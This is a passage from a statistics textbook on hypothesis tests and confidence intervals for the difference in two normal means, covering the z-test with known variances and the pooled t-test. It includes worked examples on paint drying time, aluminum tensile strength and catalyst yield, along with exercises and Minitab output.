We now consider hypothesis testing on the difference in the means $\mu_1 - \mu_2$ of two normal populations. Suppose that we are interested in testing that the difference in means $\mu_1 - \mu_2$ is equal to a specified value Δ_0. Thus, the null hypothesis will be stated as H_0: $\mu_1 - \mu_2 = \Delta_0$. Obviously, in many cases, we will specify $\Delta_0 = 0$ so that we are testing the equality of two means (i.e., H_0: $\mu_1 = \mu_2$). The appropriate test statistic would be found by replacing $\mu_1 - \mu_2$ in Equation 10-1 by Δ_0, and this test statistic would have a standard normal distribution under H_0. That is, the standard normal distribution is the **reference distribution** for the test statistic. Suppose that the alternative hypothesis is H_1: $\mu_1 - \mu_2 \neq \Delta_0$. Now, a sample value of $\bar{x}_1 - \bar{x}_2$ that is considerably different from Δ_0 is evidence that H_1 is true. Because Z_0 has the $N(0, 1)$ distribution when H_0 is true, we would calculate the P-value as the sum of the probabilities beyond the test statistic value z_0 and $-z_0$ in the standard normal distribution. That is, $P = 2[1 - \Phi(|z_0|)]$. This is exactly what we did in the one-sample z-test of Section 4-4.1. If we wanted to perform a fixed-significance-level test, we would take $-z_{\alpha/2}$ and $z_{\alpha/2}$ as the boundaries of the critical region just as we did in the single-sample z-test. This would give a test with level of significance α. P-values or critical regions for the one-sided

alternatives would be determined similarly. Formally, we summarize these results in the following display.

Tests on the Difference in Means, Variances Known

Null hypothesis: H_0: $\mu_1 - \mu_2 = \Delta_0$

Test statistic:
$$Z_0 = \frac{\bar{X}_1 - \bar{X}_2 - \Delta_0}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}} \tag{10-2}$$

Alternative Hypotheses	*P*-Value	Rejection Criterion For for Fixed-Level Tests
H_1: $\mu_1 - \mu_2 \neq \Delta_0$	Probability above $\lvert z_0 \rvert$ and probability below $-\lvert z_0 \rvert$, $P = 2[1 - \Phi(\lvert z_0 \rvert)]$	$z_0 > z_{\alpha/2}$ or $z_0 < -z_{\alpha/2}$
H_1: $\mu_1 - \mu_2 > \Delta_0$	Probability above z_0, $P = 1 - \Phi(z_0)$	$z_0 > z_\alpha$
H_1: $\mu_1 - \mu_2 < \Delta_0$	Probability below z_0, $P = \Phi(z_0)$	$z_0 < -z_\alpha$

EXAMPLE 10-1 Paint Drying Time

A product developer is interested in reducing the drying time of a primer paint. Two formulations of the paint are tested; formulation 1 is the standard chemistry, and formulation 2 has a new drying ingredient that should reduce the drying time. From experience, it is known that the standard deviation of drying time is 8 minutes, and this inherent variability should be unaffected by the addition of the new ingredient. Ten specimens are painted with formulation 1, and another 10 specimens are painted with formulation 2; the 20 specimens are painted in random order. The two sample average drying times are $\bar{x}_1 = 121$ minutes and $\bar{x}_2 = 112$ minutes, respectively. What conclusions can the product developer draw about the effectiveness of the new ingredient, using $\alpha = 0.05$?

We apply the seven-step procedure to this problem as follows:

1. **Parameter of interest:** The quantity of interest is the difference in mean drying times, $\mu_1 - \mu_2$, and $\Delta_0 = 0$.
2. **Non hypothesis:** H_0: $\mu_1 - \mu_2 = 0$, or H_0: $\mu_1 = \mu_2$.
3. **Alternative hypothesis:** H_1: $\mu_1 > \mu_2$. We want to reject H_0 if the new ingredient reduces mean drying time.
4. **Test statistic:** The test statistic is
$$z_0 = \frac{\bar{x}_1 - \bar{x}_2 - 0}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}}$$
where $\sigma_1^2 = \sigma_2^2 = (8)^2 = 64$ and $n_1 = n_2 = 10$.
5. **Reject H_0 if:** Reject H_0: $\mu_1 = \mu_2$ if the P-value is less than 0.05.
6. **Computations:** Since $\bar{x}_1 = 121$ minutes and $\bar{x}_2 = 112$ minutes, the test statistic is
$$z_0 = \frac{121 - 112}{\sqrt{\dfrac{(8)^2}{10} + \dfrac{(8)^2}{10}}} = 2.52$$
7. **Conclusion:** Since $z_0 = 2.52$, the P-value is $P = 1 - \Phi(2.52) = 0.0059$, so we reject H_0 at the $\alpha = 0.05$ level

Practical Interpretation: We conclude that adding the new ingredient to the paint significantly reduces the drying time. This is a strong conclusion.

When the population variances are unknown, the sample variances s_1^2 and s_2^2 can be substituted into the test statistic Equation 10-2 to produce a **large-sample test** for the difference in means. This procedure will also work well when the populations are not necessarily normally distributed. However, both n_1 and n_2 should exceed 40 for this large-sample test to be valid.

10-1.2 Type II Error and Choice of Sample Size

Use of Operating Characteristic Curves

The operating characteristic curves (OC) in Appendix Charts VII*a*, VII*b*, VII*c*, and VII*d* may be used to evaluate the type II error probability for the hypotheses in the display (10-2). These curves are also useful in determining sample size. Curves are provided for $\alpha = 0.05$ and $\alpha = 0.01$. For the two-sided alternative hypothesis, the abscissa scale of the operating characteristic curve in charts VII*a* and VII*b* is d, where

$$d = \frac{|\mu_1 - \mu_2 - \Delta_0|}{\sqrt{\sigma_1^2 + \sigma_2^2}} = \frac{|\Delta - \Delta_0|}{\sqrt{\sigma_1^2 + \sigma_2^2}} \tag{10-3}$$

and one must choose equal sample sizes, say, $n = n_1 = n_2$. The one-sided alternative hypotheses require the use of Charts VII*c* and VII*d*. For the one-sided alternatives H_1: $\mu_1 - \mu_2 > \Delta_0$ or H_1: $\mu_1 - \mu_2 < \Delta_0$, the abscissa scale is also given by

$$d = \frac{|\mu_1 - \mu_2 - \Delta_0|}{\sqrt{\sigma_1^2 + \sigma_2^2}} = \frac{|\Delta - \Delta_0|}{\sqrt{\sigma_1^2 + \sigma_2^2}}$$

It is not unusual to encounter problems where the costs of collecting data differ substantially between the two populations, or where one population variance is much greater than the other. In those cases, we often use unequal sample sizes. If $n_1 \neq n_2$, the operating characteristic curves may be entered with an *equivalent* value of n computed from

$$n = \frac{\sigma_1^2 + \sigma_2^2}{\sigma_1^2/n_1 + \sigma_2^2/n_2} \tag{10-4}$$

If $n_1 \neq n_2$, and their values are fixed in advance, Equation 10-4 is used directly to calculate n, and the operating characteristic curves are entered with a specified d to obtain β. If we are given d and it is necessary to determine n_1 and n_2 to obtain a specified β, say, β^*, we guess at trial values of n_1 and n_2, calculate n in Equation 10-4, and enter the curves with the specified value of d to find β. If $\beta = \beta^*$, the trial values of n_1 and n_2 are satisfactory. If $\beta \neq \beta^*$, adjustments to n_1 and n_2 are made and the process is repeated.

EXAMPLE 10-2 Paint Drying Time, Sample Size from OC Curves

Consider the paint drying time experiment from Example 10-1. If the true difference in mean drying times is as much as 10 minutes, find the sample sizes required to detect this difference with probability at least 0.90.

The appropriate value of the abscissa parameter is (since $\Delta_0 = 0$, and $\Delta = 10$)

$$d = \frac{|\mu_1 - \mu_2|}{\sqrt{\sigma_1^2 + \sigma_2^2}} = \frac{10}{\sqrt{8^2 + 8^2}} = 0.88$$

and since the detection probability or power of the test must be at least 0.9, with $\alpha = 0.05$, we find from Appendix Chart VII*c* that $n = n_1 = n_2 \simeq 11$.

Sample Size Formulas

It is also possible to obtain formulas for calculating the sample sizes directly. Suppose that the null hypothesis H_0: $\mu_1 - \mu_2 = \Delta_0$ is false and that the true difference in means is $\mu_1 - \mu_2 = \Delta$, where $\Delta > \Delta_0$. One may find formulas for the sample size required to obtain a specific value of the type II error probability β for a given difference in means Δ and level of significance α.

For example, we first write the expression for the β-error for the two-sided alternative, which is

$$\beta = \Phi\left(z_{\alpha/2} - \frac{\Delta - \Delta_0}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}}\right) - \Phi\left(-z_{\alpha/2} - \frac{\Delta - \Delta_0}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}}\right)$$

The derivation for sample size closely follows the single-sample case in Section 9-2.2.

Sample Size for a Two-Sided Test on the Difference in Means with $n_1 = n_2$, Variances Known

For the two-sided alternative hypothesis with significance level α, the sample size $n_1 = n_2 = n$ required to detect a true difference in means of Δ with power at least $1 - \beta$ is

$$n \simeq \frac{(z_{\alpha/2} + z_\beta)^2(\sigma_1^2 + \sigma_2^2)}{(\Delta - \Delta_0)^2} \tag{10-5}$$

This approximation is valid when $\Phi(-z_{\alpha/2} - (\Delta - \Delta_0)\sqrt{n}/\sqrt{\sigma_1^2 + \sigma_2^2})$ is small compared to β.

Sample Size for a One-Sided Test on the Difference in Means with $n_1 = n_2$, Variances Known

For a one-sided alternative hypothesis with significance level α, the sample size $n_1 = n_2 = n$ required to detect a true difference in means of $\Delta(\neq\Delta_0)$ with power at least $1 - \beta$ is

$$n = \frac{(z_\alpha + z_\beta)^2(\sigma_1^2 + \sigma_2^2)}{(\Delta - \Delta_0)^2} \tag{10-6}$$

where Δ is the true difference in means of interest. Then by following a procedure similar to that used to obtain Equation 9-17, the expression for β can be obtained for the case where $n = n_1 = n_2$.

EXAMPLE 10-3 Paint Drying Time Sample Size

To illustrate the use of these sample size equations, consider the situation described in Example 10-1, and suppose that if the true difference in drying times is as much as 10 minutes, we want to detect this with probability at least 0.90. Under the null hypothesis, $\Delta_0 = 0$. We have a one-sided alternative hypothesis with $\Delta = 10$, $\alpha = 0.05$ (so $z_\alpha = z_{0.05} = 1.645$), and since the power is 0.9, $\beta = 0.10$ (so $z_\beta = z_{0.10} = 1.28$). Therefore, we may find the required sample size from Equation 10-6 as follows:

$$n = \frac{(z_\alpha + z_\beta)^2(\sigma_1^2 + \sigma_2^2)}{(\Delta - \Delta_0)^2}$$

$$= \frac{(1.645 + 1.28)^2[(8)^2 + (8)^2]}{(10 - 0)^2} = 11$$

This is exactly the same as the result obtained from using the OC curves.

10-1.3 Confidence Interval on the Difference in Means, Variances Known

The $100(1 - \alpha)\%$ confidence interval on the difference in two means $\mu_1 - \mu_2$ when the variances are known can be found directly from results given previously in this section. Recall that $X_{11}, X_{12}, \ldots, X_{1n_1}$ is a random sample of n_1 observations from the first population and X_{21},

$X_{22}, \ldots, X_{2n_2}$ is a random sample of n_2 observations from the second population. The difference in sample means $\bar{X}_1 - \bar{X}_2$ is a point estimator of $\mu_1 - \mu_2$, and

$$Z = \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}}$$

has a standard normal distribution if the two populations are normal or is approximately standard normal if the conditions of the central limit theorem apply, respectively. This implies that $P(-z_{\alpha/2} \le Z \le z_{\alpha/2}) = 1 - \alpha$, or

$$P\left[-z_{\alpha/2} \le \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}} \le z_{\alpha/2}\right] = 1 - \alpha$$

This can be rearranged as

$$P\left(\bar{X}_1 - \bar{X}_2 - z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \le \mu_1 - \mu_2 \le \bar{X}_1 - \bar{X}_2 + z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}}\right) = 1 - \alpha$$

Therefore, the $100(1 - \alpha)\%$ confidence interval for $\mu_1 - \mu_2$ is defined as follows.

Confidence Interval on the Difference in Means, Variances Known

If $\bar{x}_1$ and $\bar{x}_2$ are the means of independent random samples of sizes n_1 and n_2 from two independent normal populations with known variances σ_1^2 and σ_2^2, respectively, a **$100(1 - \alpha)\%$ confidence interval for $\mu_1 - \mu_2$** is

$$\bar{x}_1 - \bar{x}_2 - z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \le \mu_1 - \mu_2 \le \bar{x}_1 - \bar{x}_2 + z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \qquad (10\text{-}7)$$

where $z_{\alpha/2}$ is the upper $\alpha/2$ percentage point of the standard normal distribution.

The confidence level $1 - \alpha$ is exact when the populations are normal. For nonnormal populations, the confidence level is approximately valid for large sample sizes.

EXAMPLE 10-4 Aluminum Tensile Strength

Tensile strength tests were performed on two different grades of aluminum spars used in manufacturing the wing of a commercial transport aircraft. From past experience with the spar manufacturing process and the testing procedure, the standard deviations of tensile strengths are assumed to be known. The data obtained are as follows: $n_1 = 10$, $\bar{x}_1 = 87.6$, $\sigma_1 = 1$, $n_2 = 12$, $\bar{x}_2 = 74.5$, and $\sigma_2 = 1.5$. If μ_1 and μ_2 denote the true mean tensile strengths for the two grades of spars, we may find a 90% confidence interval on the difference in mean strength $\mu_1 - \mu_2$ as follows:

$$\bar{x}_1 - \bar{x}_2 - z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \le \mu_1 - \mu_2 \le \bar{x}_1 - \bar{x}_2 + z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}}$$

$$87.6 - 74.5 - 1.645\sqrt{\frac{(1)^2}{10} + \frac{(1.5)^2}{12}} \le \mu_1 - \mu_2 \le 87.6 - 74.5 + 1.645\sqrt{\frac{(1^2)}{10} + \frac{(1.5)^2}{12}}$$

Therefore, the 90% confidence interval on the difference in mean tensile strength (in kilograms per square millimeter) is

$$12.22 \le \mu_1 - \mu_2 \le 13.98 \text{ (in kilograms per square millimeter)}$$

Practical Interpretation: Notice that the confidence interval does not include zero, implying that the mean strength of aluminum grade 1 (μ_1) exceeds the mean strength of aluminum grade 2 (μ_2). In fact, we can state that we are 90% confident that the mean tensile strength of aluminum grade 1 exceeds that of aluminum grade 2 by between 12.22 and 13.98 kilograms per square millimeter.

Choice of Sample Size

If the standard deviations σ_1 and σ_2 are known (at least approximately) and the two sample sizes n_1 and n_2 are equal ($n_1 = n_2 = n$, say), we can determine the sample size required so that the error in estimating $\mu_1 - \mu_2$ by $\bar{x}_1 - \bar{x}_2$ will be less than E at $100(1 - \alpha)\%$ confidence. The required sample size from each population is

Sample Size for a Confidence Interval on the Difference in Means, Variances Known

$$n = \left(\frac{z_{\alpha/2}}{E}\right)^2 (\sigma_1^2 + \sigma_2^2) \tag{10-8}$$

Remember to round up if n is not an integer. This will ensure that the level of confidence does not drop below $100(1 - \alpha)\%$.

One-Sided Confidence Bounds

One-sided confidence bounds on $\mu_1 - \mu_2$ may also be obtained. A $100(1 - \alpha)\%$ upper-confidence bound on $\mu_1 - \mu_2$ is

One-Sided Upper Confidence Bound

$$\mu_1 - \mu_2 \le \bar{x}_1 - \bar{x}_2 + z_\alpha \sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \tag{10-9}$$

and a $100(1 - \alpha)\%$ lower-confidence bound is

One-Sided Lower Confidence Bound

$$\bar{x}_1 - \bar{x}_2 - z_\alpha \sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \le \mu_1 - \mu_2 \tag{10-10}$$

EXERCISES FOR SECTION 10-1

10-1. Consider the hypothesis test $H_0: \mu_1 = \mu_2$ against $H_1: \mu_1 \neq \mu_2$ with known variances $\sigma_1 = 10$ and $\sigma_2 = 5$. Suppose that sample sizes $n_1 = 10$ and $n_2 = 15$ and that $\bar{x}_1 = 4.7$ and $\bar{x}_2 = 7.8$. Use $\alpha = 0.05$.

(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) for a true difference in means of 3?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if the true difference in means is 3? Assume that $\alpha = 0.05$.

10-2. Consider the hypothesis test $H_0: \mu_1 = \mu_2$ against $H_1: \mu_1 < \mu_2$ with known variances $\sigma_1 = 10$ and $\sigma_2 = 5$. Suppose that sample sizes $n_1 = 10$ and $n_2 = 15$ and that $\bar{x}_1 = 14.2$ and $\bar{x}_2 = 19.7$. Use $\alpha = 0.05$.

(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) if μ_1 is 4 units less than μ_2?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if μ_1 is 4 units less than μ_2? Assume that $\alpha = 0.05$.

10-3. Consider the hypothesis test $H_0: \mu_1 = \mu_2$ against $H_1: \mu_1 > \mu_2$ with known variances $\sigma_1 = 10$ and $\sigma_2 = 5$. Suppose that sample sizes $n_1 = 10$ and $n_2 = 15$ and that $\bar{x}_1 = 24.5$ and $\bar{x}_2 = 21.3$. Use $\alpha = 0.01$.

(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) if μ_1 is 2 units greater than μ_2?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if μ_1 is 2 units greater than μ_2? Assume that $\alpha = 0.05$.

10-4. Two machines are used for filling plastic bottles with a net volume of 16.0 ounces. The fill volume can be assumed normal, with standard deviation $\sigma_1 = 0.020$ and $\sigma_2 = 0.025$ ounces. A member of the quality engineering staff suspects that both machines fill to the same mean net volume, whether or not this volume is 16.0 ounces. A random sample of 10 bottles is taken from the output of each machine.

Machine 1		Machine 2	
16.03	16.01	16.02	16.03
16.04	15.96	15.97	16.04
16.05	15.98	15.96	16.02
16.05	16.02	16.01	16.01
16.02	15.99	15.99	16.00

(a) Do you think the engineer is correct? Use $\alpha = 0.05$. What is the P-value for this test?
(b) Calculate a 95% confidence interval on the difference in means. Provide a practical interpretation of this interval.
(c) What is the power of the test in part (a) for a true difference in means of 0.04?
(d) Assuming equal sample sizes, what sample size should be used to assure that $\beta = 0.05$ if the true difference in means is 0.04? Assume that $\alpha = 0.05$.

10-5. Two types of plastic are suitable for use by an electronics component manufacturer. The breaking strength of this plastic is important. It is known that $\sigma_1 = \sigma_2 = 1.0$ psi. From a random sample of size $n_1 = 10$ and $n_2 = 12$, we obtain $\bar{x}_1 = 162.5$ and $\bar{x}_2 = 155.0$. The company will not adopt plastic 1 unless its mean breaking strength exceeds that of plastic 2 by at least 10 psi.

(a) Based on the sample information, should it use plastic 1? Use $\alpha = 0.05$ in reaching a decision. Find the P-value.
(b) Calculate a 95% confidence interval on the difference in means. Suppose that the true difference in means is really 12 psi.
(c) Find the power of the test assuming that $\alpha = 0.05$.
(d) If it is really important to detect a difference of 12 psi, are the sample sizes employed in part (a) adequate, in your opinion?

10-6. The burning rates of two different solid-fuel propellants used in aircrew escape systems are being studied. It is known that both propellants have approximately the same standard deviation of burning rate; that is $\sigma_1 = \sigma_2 = 3$ centimeters per second. Two random samples of $n_1 = 20$ and $n_2 = 20$ specimens are tested; the sample mean burning rates are $\bar{x}_1 = 18$ centimeters per second and $\bar{x}_2 = 24$ centimeters per second.

(a) Test the hypothesis that both propellants have the same mean burning rate. Use $\alpha = 0.05$. What is the P-value?
(b) Construct a 95% confidence interval on the difference in means $\mu_1 - \mu_2$. What is the practical meaning of this interval?
(c) What is the β-error of the test in part (a) if the true difference in mean burning rate is 2.5 centimeters per second?
(d) Assuming equal sample sizes, what sample size is needed to obtain power of 0.9 at a true difference in means of 14 cm/s?

10-7. Two different formulations of an oxygenated motor fuel are being tested to study their road octane numbers. The variance of road octane number for formulation 1 is $\sigma_1^2 = 1.5$, and for formulation 2 it is $\sigma_2^2 = 1.2$. Two random samples of size $n_1 = 15$ and $n_2 = 20$ are tested, and the mean road octane numbers observed are $\bar{x}_1 = 89.6$ and $\bar{x}_2 = 92.5$. Assume normality.

(a) If formulation 2 produces a higher road octane number than formulation 1, the manufacturer would like to detect it. Formulate and test an appropriate hypothesis, using $\alpha = 0.05$. What is the P-value?
(b) Explain how the question in part (a) could be answered with a 95% confidence interval on the difference in mean road octane number.
(c) What sample size would be required in each population if we wanted to be 95% confident that the error in estimating the difference in mean road octane number is less than 1?

10-8. A polymer is manufactured in a batch chemical process. Viscosity measurements are normally made on each batch, and long experience with the process has indicated that the variability in the process is fairly stable with $\sigma = 20$. Fifteen batch viscosity measurements are given as follows:

724, 718, 776, 760, 745, 759, 795, 756, 742, 740, 761, 749, 739, 747, 742

A process change is made which involves switching the type of catalyst used in the process. Following the process change, eight batch viscosity measurements are taken:

735, 775, 729, 755, 783, 760, 738, 780

Assume that process variability is unaffected by the catalyst change. If the difference in mean batch viscosity is 10 or less, the manufacturer would like to detect it with a high probability.

(a) Formulate and test an appropriate hypothesis using $\alpha = 0.10$. What are your conclusions? Find the P-value.

(b) Find a 90% confidence interval on the difference in mean batch viscosity resulting from the process change.
(c) Compare the results of parts (a) and (b) and discuss your findings.

10-9. The concentration of active ingredient in a liquid laundry detergent is thought to be affected by the type of catalyst used in the process. The standard deviation of active concentration is known to be 3 grams per liter, regardless of the catalyst type. Ten observations on concentration are taken with each catalyst, and the data follow:

Catalyst 1: 57.9, 66.2, 65.4, 65.4, 65.2, 62.6, 67.6, 63.7, 67.2, 71.0
Catalyst 2: 66.4, 71.7, 70.3, 69.3, 64.8, 69.6, 68.6, 69.4, 65.3, 68.8

(a) Find a 95% confidence interval on the difference in mean active concentrations for the two catalysts. Find the *P*-value.
(b) Is there any evidence to indicate that the mean active concentrations depend on the choice of catalyst? Base your answer on the results of part (a).
(c) Suppose that the true mean difference in active concentration is 5 grams per liter. What is the power of the test to detect this difference if $\alpha = 0.05$?
(d) If this difference of 5 grams per liter is really important, do you consider the sample sizes used by the experimenter to be adequate? Does the assumption of normality seem reasonable for both samples?

10-2 INFERENCE ON THE DIFFERENCE IN MEANS OF TWO NORMAL DISTRIBUTIONS, VARIANCES UNKNOWN

We now extend the results of the previous section to the difference in means of the two distributions in Fig. 10-1 when the variances of both distributions σ_1^2 and σ_2^2 are unknown. If the sample sizes n_1 and n_2 exceed 40, the normal distribution procedures in Section 10-1 could be used. However, when small samples are taken, we will assume that the populations are normally distributed and base our hypotheses tests and confidence intervals on the t distribution. This nicely parallels the case of inference on the mean of a single sample with unknown variance.

10-2.1 Hypotheses Tests on the Difference in Means, Variances Unknown

We now consider tests of hypotheses on the difference in means $\mu_1 - \mu_2$ of two normal distributions where the variances σ_1^2 and σ_2^2 are unknown. A t-statistic will be used to test these hypotheses. As noted above and in Section 9-3, the normality assumption is required to develop the test procedure, but moderate departures from normality do not adversely affect the procedure. Two different situations must be treated. In the first case, we assume that the variances of the two normal distributions are unknown but equal; that is, $\sigma_1^2 = \sigma_2^2 = \sigma^2$. In the second, we assume that σ_1^2 and σ_2^2 are unknown and not necessarily equal.

Case 1: $\sigma_1^2 = \sigma_2^2 = \sigma^2$

Suppose we have two independent normal populations with unknown means μ_1 and μ_2, and unknown but equal variances, $\sigma_1^2 = \sigma_2^2 = \sigma^2$. We wish to test

$$\begin{aligned} H_0&: \mu_1 - \mu_2 = \Delta_0 \\ H_1&: \mu_1 - \mu_2 \neq \Delta_0 \end{aligned} \tag{10-11}$$

Let $X_{11}, X_{12}, \ldots, X_{1n_1}$ be a random sample of n_1 observations from the first population and $X_{21}, X_{22}, \ldots, X_{2n_2}$ be a random sample of n_2 observations from the second population. Let $\overline{X}_1$, $\overline{X}_2$, S_1^2, and S_2^2 be the sample means and sample variances, respectively. Now the expected value of the difference in sample means $\overline{X}_1 - \overline{X}_2$ is $E(\overline{X}_1 - \overline{X}_2) = \mu_1 - \mu_2$, so $\overline{X}_1 - \overline{X}_2$ is an unbiased estimator of the difference in means. The variance of $\overline{X}_1 - \overline{X}_2$ is

$$V(\overline{X}_1 - \overline{X}_2) = \frac{\sigma^2}{n_1} + \frac{\sigma^2}{n_2} = \sigma^2\left(\frac{1}{n_1} + \frac{1}{n_2}\right)$$

It seems reasonable to combine the two sample variances S_1^2 and S_2^2 to form an estimator of σ^2. The **pooled estimator** of σ^2 is defined as follows.

Pooled Estimator of Variance

The **pooled estimator** of σ^2, denoted by S_p^2, is defined by

$$S_p^2 = \frac{(n_1 - 1)S_1^2 + (n_2 - 1)S_2^2}{n_1 + n_2 - 2} \tag{10-12}$$

It is easy to see that the pooled estimator S_p^2 can be written as

$$S_p^2 = \frac{n_1 - 1}{n_1 + n_2 - 2}S_1^2 + \frac{n_2 - 1}{n_1 + n_2 - 2}S_2^2 = wS_1^2 + (1 - w)S_2^2$$

where $0 < w \leq 1$. Thus S_p^2 is a **weighted average** of the two sample variances S_1^2 and S_2^2, where the weights w and $1 - w$ depend on the two sample sizes n_1 and n_2. Obviously, if $n_1 = n_2 = n$, $w = 0.5$ and S_p^2 is just the arithmetic average of S_1^2 and S_2^2. If $n_1 = 10$ and $n_2 = 20$ (say), $w = 0.32$ and $1 - w = 0.68$. The first sample contributes $n_1 - 1$ degrees of freedom to S_p^2 and the second sample contributes $n_2 - 1$ degrees of freedom. Therefore, S_p^2 has $n_1 + n_2 - 2$ degrees of freedom.

Now we know that

$$Z = \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{\sigma\sqrt{\dfrac{1}{n_1} + \dfrac{1}{n_2}}}$$

has a $N(0, 1)$ distribution. Replacing σ by S_p gives the following.

Given the assumptions of this section, the quantity

$$T = \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{S_p\sqrt{\dfrac{1}{n_1} + \dfrac{1}{n_2}}} \tag{10-13}$$

has a t distribution with $n_1 + n_2 - 2$ degrees of freedom.

The use of this information to test the hypotheses in Equation 10-11 is now straightforward: Simply replace $\mu_1 - \mu_2$ by Δ_0, and the resulting **test statistic** has a t distribution with $n_1 + n_2 - 2$ degrees of freedom under H_0: $\mu_1 - \mu_2 = \Delta_0$. Therefore, the reference distribution for the test statistic is the t distribution with $n_1 + n_2 - 2$ degrees of freedom. The calculation of P-values and the location of the critical region for fixed-significance-level testing for both two- and one-sided alternatives parallels those in the one-sample case. Because a pooled estimate of variance is used, the procedure is often called the **pooled *t*-test.**

Tests on the Difference in Means of Two Normal Distributions, Variances Unknown and Equal*

Null hypothesis: $H_0: \mu_1 - \mu_2 = \Delta_0$

Test statistic:
$$T_0 = \frac{\bar{X}_1 - \bar{X}_2 - \Delta_0}{S_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}} \tag{10-14}$$

Alternative Hypothesis	*P-Value*	Rejection Criterion for Fixed-Level Tests
$H_1: \mu_1 - \mu_2 \neq \Delta_0$	Probability above $\lvert t_0 \rvert$ and probability below $-\lvert t_0 \rvert$	$t_0 > t_{\alpha/2, n_1+n_2-2}$ or $t_0 < -t_{\alpha/2, n_1+n_2-2}$
$H_1: \mu_1 - \mu_2 > \Delta_0$	Probability above t_0	$t_0 > t_{\alpha, n_1+n_2-2}$
$H_1: \mu_1 - \mu_2 < \Delta_0$	Probability below t_0	$t_0 < -t_{\alpha, n_1+n_2-2}$

EXAMPLE 10-5 Yield from a Catalyst

Two catalysts are being analyzed to determine how they affect the mean yield of a chemical process. Specifically, catalyst 1 is currently in use, but catalyst 2 is acceptable. Since catalyst 2 is cheaper, it should be adopted, providing it does not change the process yield. A test is run in the pilot plant and results in the data shown in Table 10-1. Is there any difference between the mean yields? Use $\alpha = 0.05$, and assume equal variances.

The solution using the seven-step hypothesis-testing procedure is as follows:

1. **Parameter of interest:** The parameters of interest are μ_1 and μ_2, the mean process yield using catalysts 1 and 2, respectively, and we want to know if $\mu_1 - \mu_2 = 0$.
2. **Null hypothesis:** $H_0: \mu_1 - \mu_2 = 0$, or $H_0: \mu_1 = \mu_2$
3. **Alternative hypothesis:** $H_1: \mu_1 \neq \mu_2$
4. **Test statistic:** The test statistic is
$$t_0 = \frac{\bar{x}_1 - \bar{x}_2 - 0}{s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}}$$
5. **Reject H_0 if:** Reject H_0 if the P-value is less than 0.05.
6. **Computations:** From Table 10-1 we have $\bar{x}_1 = 92.255$, $s_1 = 2.39$, $n_1 = 8$, $\bar{x}_2 = 92.733$, $s_2 = 2.98$, and $n_2 = 8$. Therefore
$$s_p^2 = \frac{(n_1 - 1)s_1^2 + (n_2 - 1)s_2^2}{n_1 + n_2 - 2} = \frac{(7)(2.39)^2 + 7(2.98)^2}{8 + 8 - 2} = 7.30$$
$$s_p = \sqrt{7.30} = 2.70$$

Table 10-1 Catalyst Yield Data, Example 10-5

Observation Number	Catalyst 1	Catalyst 2
1	91.50	89.19
2	94.18	90.95
3	92.18	90.46
4	95.39	93.21
5	91.79	97.19
6	89.07	97.04
7	94.72	91.07
8	89.21	92.75
	$\bar{x}_1 = 92.255$	$\bar{x}_2 = 92.733$
	$s_1 = 2.39$	$s_2 = 2.98$

*While we have given the development of this procedure for the case where the sample sizes could be different, there is an advantage to using equal sample sizes $n_1 = n_2 = n$. When the sample sizes are the same from both populations, the t-test is more robust to the assumption of equal variances.

and

$$t_0 = \frac{\bar{x}_1 - \bar{x}_2}{2.70\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}} = \frac{92.255 - 92.733}{2.70\sqrt{\frac{1}{8} + \frac{1}{8}}} = -0.35$$

7. **Conclusions:** Since -2.145, from Appendix Table V we find that $t_{0.40,14} = 0.258$ and $t_{0.25,14} = 0.692$. Therefore, since $0.258 < 0.35 < 0.692$, we conclude that lower and upper bounds on the P-value are $0.50 < P < 0.80$. Therefore, since the P-value exceeds $\alpha = 0.05$, the null hypothesis cannot be rejected.

Practical Interpretation: At the 0.05 level of significance, we do not have strong evidence to conclude that catalyst 2 results in a mean yield that differs from the mean yield when catalyst 1 is used.

The Minitab two-sample t-test and confidence interval procedure for Example 10-5 follows:

Minitab Computations

Two-Sample T-Test and CI: Cat 1, Cat 2

Two-sample T for Cat 1 vs Cat 2

	N	Mean	StDev	SE Mean
Cat 1	8	92.26	2.39	0.84
Cat 2	8	92.73	2.99	1.1

Difference = mu Cat 1 − mu Cat 2
Estimate for difference: −0.48
95% CI for difference: (−3.37, 2.42)
T-Test of difference = 0 (vs not =): T-Value = −0.35 P-Value = 0.730 DF = 14
Both use Pooled StDev = 2.70

